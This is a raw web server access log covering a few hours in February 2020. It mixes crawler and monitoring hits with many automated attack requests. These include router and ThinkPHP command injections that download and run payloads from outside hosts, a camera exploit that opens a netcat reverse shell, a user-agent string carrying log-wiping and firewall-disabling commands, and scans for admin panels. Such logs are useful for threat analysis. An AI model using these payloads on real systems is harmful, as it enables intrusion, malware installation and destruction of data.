49.235.37.197 - - [19/Feb/2020:23:42:30 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:31 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:31 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:34 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:34 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:34 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:35 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:35 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:35 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:38 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:38 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:39 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.235.37.197 - - [19/Feb/2020:23:42:39 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [19/Feb/2020:23:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.57 - - [19/Feb/2020:23:44:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [19/Feb/2020:23:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.116.18 - - [19/Feb/2020:23:45:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:23:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [19/Feb/2020:23:46:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:23:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
17.58.100.117 - - [19/Feb/2020:23:49:33 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
17.58.96.45 - - [19/Feb/2020:23:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
212.91.246.72 - - [19/Feb/2020:23:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.174.169.146 - - [19/Feb/2020:23:56:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
206.189.68.222 - - [19/Feb/2020:23:57:38 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [19/Feb/2020:23:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:23:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [20/Feb/2020:00:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [20/Feb/2020:00:00:09 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [20/Feb/2020:00:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [20/Feb/2020:00:00:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
85.98.169.232 - - [20/Feb/2020:00:10:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.124.150.60 - - [20/Feb/2020:00:12:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.216.245.215 - - [20/Feb/2020:00:15:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
37.49.226.137 - - [20/Feb/2020:00:18:25 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
139.162.106.181 - - [20/Feb/2020:00:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
78.168.50.246 - - [20/Feb/2020:00:19:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
117.0.196.128 - - [20/Feb/2020:00:24:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.105.243.44 - - [20/Feb/2020:00:26:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.240.125.81 - - [20/Feb/2020:00:27:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
95.47.50.107 - - [20/Feb/2020:00:34:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
102.165.126.2 - - [20/Feb/2020:00:36:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.121.0.69 - - [20/Feb/2020:00:37:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:00:37:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:00:37:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:00:37:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:00:37:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
177.72.89.239 - - [20/Feb/2020:00:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.110.208.142 - - [20/Feb/2020:00:46:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
124.43.8.138 - - [20/Feb/2020:00:47:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.21.118.20 - - [20/Feb/2020:00:48:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.26.112.243 - - [20/Feb/2020:01:12:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
182.117.108.17 - - [20/Feb/2020:01:17:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
173.13.252.94 - - [20/Feb/2020:01:19:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
77.78.41.72 - - [20/Feb/2020:01:20:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.54.83.154 - - [20/Feb/2020:01:23:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
34.73.72.106 - - [20/Feb/2020:01:25:18 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.73.72.106 - - [20/Feb/2020:01:25:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
169.197.108.6 - - [20/Feb/2020:01:27:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
121.232.179.153 - - [20/Feb/2020:01:31:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
159.192.98.124 - - [20/Feb/2020:01:36:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
176.62.188.138 - - [20/Feb/2020:01:37:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.31.163.237 - - [20/Feb/2020:01:37:38 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
82.209.162.118 - - [20/Feb/2020:01:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:01:40:54 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
201.76.119.242 - - [20/Feb/2020:01:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.216.20.54 - - [20/Feb/2020:02:06:49 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
95.216.20.54 - - [20/Feb/2020:02:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
5.101.0.209 - - [20/Feb/2020:02:08:55 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
104.219.234.53 - - [20/Feb/2020:02:09:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
5.101.0.209 - - [20/Feb/2020:02:09:25 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
115.132.138.143 - - [20/Feb/2020:02:18:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
93.157.191.3 - - [20/Feb/2020:02:18:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:02:21:14 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:02:21:16 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:02:21:45 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:02:21:47 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
119.52.212.249 - - [20/Feb/2020:02:25:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.49.188.51 - - [20/Feb/2020:02:25:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:02:28:07 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [20/Feb/2020:02:28:39 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
152.170.3.121 - - [20/Feb/2020:02:34:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
154.47.131.203 - - [20/Feb/2020:02:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
37.49.226.137 - - [20/Feb/2020:02:40:05 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
161.132.177.210 - - [20/Feb/2020:02:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.71.230.25 - - [20/Feb/2020:02:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
24.63.157.204 - - [20/Feb/2020:02:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
24.63.157.204 - - [20/Feb/2020:02:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
177.223.107.32 - - [20/Feb/2020:02:48:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.105.143.94 - - [20/Feb/2020:02:50:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.114.192.235 - - [20/Feb/2020:02:59:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
156.238.167.18 - - [20/Feb/2020:02:59:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
168.232.13.134 - - [20/Feb/2020:03:00:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.30.57.221 - - [20/Feb/2020:03:02:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.30.57.221 - - [20/Feb/2020:03:02:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.40.28.226 - - [20/Feb/2020:03:07:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
128.14.134.170 - - [20/Feb/2020:03:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
121.164.35.72 - - [20/Feb/2020:03:15:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:03:15:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:03:15:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:03:15:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [20/Feb/2020:03:16:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
114.31.5.250 - - [20/Feb/2020:03:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.101.0.209 - - [20/Feb/2020:03:21:06 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
109.201.179.21 - - [20/Feb/2020:03:23:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.45.196.30 - - [20/Feb/2020:03:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
